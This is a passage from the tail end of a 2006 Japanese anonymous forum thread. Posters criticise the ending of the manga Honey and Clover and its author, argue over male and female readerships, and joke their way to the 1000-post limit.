なのにラストは北川悦吏子の一昔前のご都合主義メロドラマのように
ヒロイン＝作者がモテモテ天然ガールで愛されまくり許されまくる。
ヒーローはヒーローで、才能があるゆえに嫉妬されて苦悩だ～？
かっこつけすぎてんじゃねー！！

的なリアリティ喪失、質の悪い少女漫画への埋没、ということでみんなガッカリした。
んでしょ
基本はそうだと思うよ。誰と誰がくっつくのが不満とか言うよりはね
質が悪かったんだよ
973 名前：花と名無しさん mailto:sage [2006/12/05(火) 17:56:20 ID:???0]: すきかきらいかは読み手の同人体質の有無による。
絵がざつすぎても内容萌えマンガみたいに破綻してても同人者には屁でもない。
萌えがすべてだからな
974 名前：花と名無しさん mailto:sage [2006/12/05(火) 18:04:34 ID:???0]: 少年漫画読み慣れてる人には「あのくらいで」って思うのかね。
少年漫画って矛盾だらけなのが普通だし。
975 名前：花と名無しさん mailto:sage [2006/12/05(火) 19:19:42 ID:???0]: 少年漫画の恋愛ものはメチャクチャな設定がデフォだからね。
さえない男が、クラスのアイドルみたいな女と同居生活になるとか
テレビからアイドルみたいなかわいい女の子が飛び出してくるとか
銭湯屋兼女子寮の管理人を任されるとか
何も努力しなくても「○○君好きよ～」と美少女達が自分を好きになってくれるとか
身近なかわいい女の子と、宇宙からやってきたかわいい女の子の間でウハウハとか

このスレに来てハチクロを褒めたたえ
住民批判や、少女漫画板批判をしていく「男」は
少年漫画の恋愛もの全般と、一部のネタ少女漫画
（たとえばvippierに人気のまゆたん漫画等ｗ）しか
読んだことないで、語ってくんだよなぁ。
976 名前：花と名無しさん mailto:sage [2006/12/05(火) 20:42:25 ID:???0]: >>975
なにこのｷﾓｲ偏見・・・
977 名前：花と名無しさん mailto:sage [2006/12/05(火) 21:25:33 ID:???0]: >>975
同意
ハチクロまとめ読みした→少女漫画は余り読まないけどハチクロは面白かった→流れは別におかしくなかったよ
大体こんな感じでテンプレの様に感想書き込む人って男だよね？
男向け漫画ってキャラがどう動いたかで読ませてるからキャラの心の動きとか気にしてなさそう。
だからハチクロのキャラ改変にもこんなもんでしょwで済ませてる気がする。
海野さんはこれから男性向け萌え作品を描いた方が生き残れるんじゃないの。
978 名前：花と名無しさん mailto:sage [2006/12/05(火) 21:40:21 ID:???0]: ＞海野さんはこれから男性向け萌え作品を描いた方が生き残れるんじゃないの

あ、これちょっと同意。分かる。
979 名前：花と名無しさん mailto:sage [2006/12/05(火) 21:45:13 ID:???0]: 何その断定厨か分類厨みたいなﾚｽ｡
作品や作者に対して否定的に思っても、作品好きっていうのを拒否するような事書くのはどうかと。

私は男性向けマンガ書いたとしても受けないと思うよ。
あくまで「男でも読める少女マンガ」という枠で受けてるんだと思うし。
そう思うのは単に、殆どが処女と童貞と伴侶に先立たれた人というファンタジー漫画だから
そう感じてるだけじゃないか？
980 名前：花と名無しさん mailto:sage [2006/12/05(火) 22:06:22 ID:???0]: 私は男性向け行ったら受けると思う
どっちでもいける人だと思う
自分は畳み掛けるようなギャグのスピードとかあまり受け付けなかったけど
981 名前：花と名無しさん mailto:sage [2006/12/05(火) 22:07:27 ID:???0]: >>979
女性向けマンガでも次回作は受けないと思うYO☆
982 名前：花と名無しさん mailto:sage [2006/12/05(火) 22:10:13 ID:???0]: 男向け少女漫画雑誌（一部の月刊青年誌）
でだったらウケるかもね。ウミノさんの漫画。
10年以上前なら、「乙女チック少女漫画」も、普通の少女漫画雑誌に
載れたけど、今の時代だと
そういう漫画は「月刊青年誌」のカテゴリになっちゃうんだよねぇ。
谷川史子さんも、クッキーやコーラスでは「？」だったけど
男向け少女漫画誌では読者に好評だった。
983 名前：花と名無しさん mailto:sage [2006/12/05(火) 22:10:28 ID:???0]: なんでも厨つければいいってもんじゃないよね
984 名前：花と名無しさん mailto:sage [2006/12/05(火) 22:11:46 ID:???0]: そろそろ新スレ立ててくれ。
985 名前：花と名無しさん mailto:sage [2006/12/05(火) 22:29:13 ID:???0]: 思いきりスレ違いだが
最近の男性向けって「苺ましまろ」とか「かみちゅ」みたいのが
受けたりしてるみたいだしね。
エロ無しの、女の子のほのぼの日常アニメみたいなの。
絵もかわいい少女漫画みたいなのばっかだしな。
986 名前：花と名無しさん [2006/12/06(水) 03:07:21 ID:m/BrsQsnO]: ハナクソとクソーバー
987 名前：花と名無しさん [2006/12/06(水) 08:57:32 ID:ThHSA8oUO]: 鼻糞とげろーばー
988 名前：花と名無しさん [2006/12/06(水) 09:52:23 ID:yKK/WjRNO]: フーン
989 名前：ハッサンとパクローバー [2006/12/06(水) 12:40:32 ID:m/BrsQsnO]: なんかｵﾏｹ漫画で自画像をワンちゃんに描いてるのがﾑｶﾂｸ。性格がおかしい人は自画像がどっかしらおかしい。まともな人は自画像をちゃんとかく。駄目だよ現実みなきゃ
990 名前：花と名無しさん [2006/12/06(水) 12:51:07 ID:D5WNgcP9O]: おことばですが、あなたがおっしゃってる羽海野さんの自画像は犬ではなくくまですから…。

ウミノグマですよ。
991 名前：花と名無しさん mailto:sage [2006/12/06(水) 13:53:03 ID:???0]: >>989
>まともな人は自画像をちゃんとかく

それは全然違う。
女性の漫画家の場合

・ブス＝自画像を可愛く描く人が多い
・美人＝自画像をブスに描く人が多い
992 名前：花と名無しさん mailto:sage [2006/12/06(水) 14:05:26 ID:???O]: >>991
例えば？
993 名前：花と名無しさん mailto:sage [2006/12/06(水) 14:29:22 ID:???0]: >>985
それは昔から。
谷川史子が男オタに人気あるのもそれ。
994 名前：花と名無しさん mailto:sage [2006/12/06(水) 15:51:50 ID:???0]: >>992
いっぱい例がありすぎて
995 名前：花と名無しさん [2006/12/06(水) 17:02:44 ID:jnHLR8tB0]: 最終回の前にもう一話欲しかった。
996 名前：花と名無しさん [2006/12/06(水) 17:07:04 ID:evBq16vCO]: 1000？
997 名前：花と名無しさん mailto:sage [2006/12/06(水) 17:11:32 ID:???0]: くまちゃんがわんちゃんに見えるなんてコドモみたいね☆
998 名前：花と名無しさん mailto:sage [2006/12/06(水) 17:20:25 ID:???O]: ぼくはくま
999 名前：花と名無しさん [2006/12/06(水) 17:25:47 ID:gTnhlKyRO]: 僕はｸﾏ━━━━━！
1000 名前：花と名無しさん [2006/12/06(水) 17:29:21 ID:RwNCG7yHO]: 1000
1001 名前：１００１ [Over 1000 Thread]: このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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